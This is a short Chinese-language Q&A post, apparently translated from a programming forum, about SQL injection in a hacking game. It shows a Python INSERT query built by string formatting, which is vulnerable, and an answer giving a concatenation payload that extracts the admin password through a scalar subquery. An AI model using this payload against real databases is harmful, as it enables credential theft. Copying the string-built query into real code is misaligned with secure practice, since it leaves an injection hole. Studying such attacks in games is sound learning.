SQL 没有单引号的注入

SQL injection without single quotes

有没有办法在不使用单引号 ' 的情况下进行 SQL 注入?

我看了很多问题,但它们都是关于单引号转义的,或者它们不包含解决方案 (SQL Injection after removing all single-quotes and dash-characters)。

我正在做一个黑客游戏,基本上我必须从数据库中提取密码,我试图通过利用这个查询来做到这一点:

query = text("INSERT INTO data_table VALUES ([other values], '%s')" % data)
db.engine.execute(query, user=username)

正在尝试将数据设置为:

'SELECT password FROM users WHERE username="admin" '

我认为应该以这种方式执行 select 并将其结果存储为数据(我可以轻松地从网站上读回该数据)。

问题是在上传进入数据的值时我不能使用单引号'(系统显示错误,我必须选择另一个值)。

有没有办法在没有单引号的情况下执行类似的注入?

此 SELECT 必须作为括在括号中的标量子查询传递。

如果 date 只是与 text 连接,则将其设置为

' || (SELECT password FROM users WHERE username='admin') || '

结果

INSERT INTO data_table VALUES ([other values], '' || (SELECT password FROM users WHERE username='admin') || '')

这是有效的 SQL 连接空字符串和 SELECT 的结果。现在 DBMS 将愉快地执行它:-)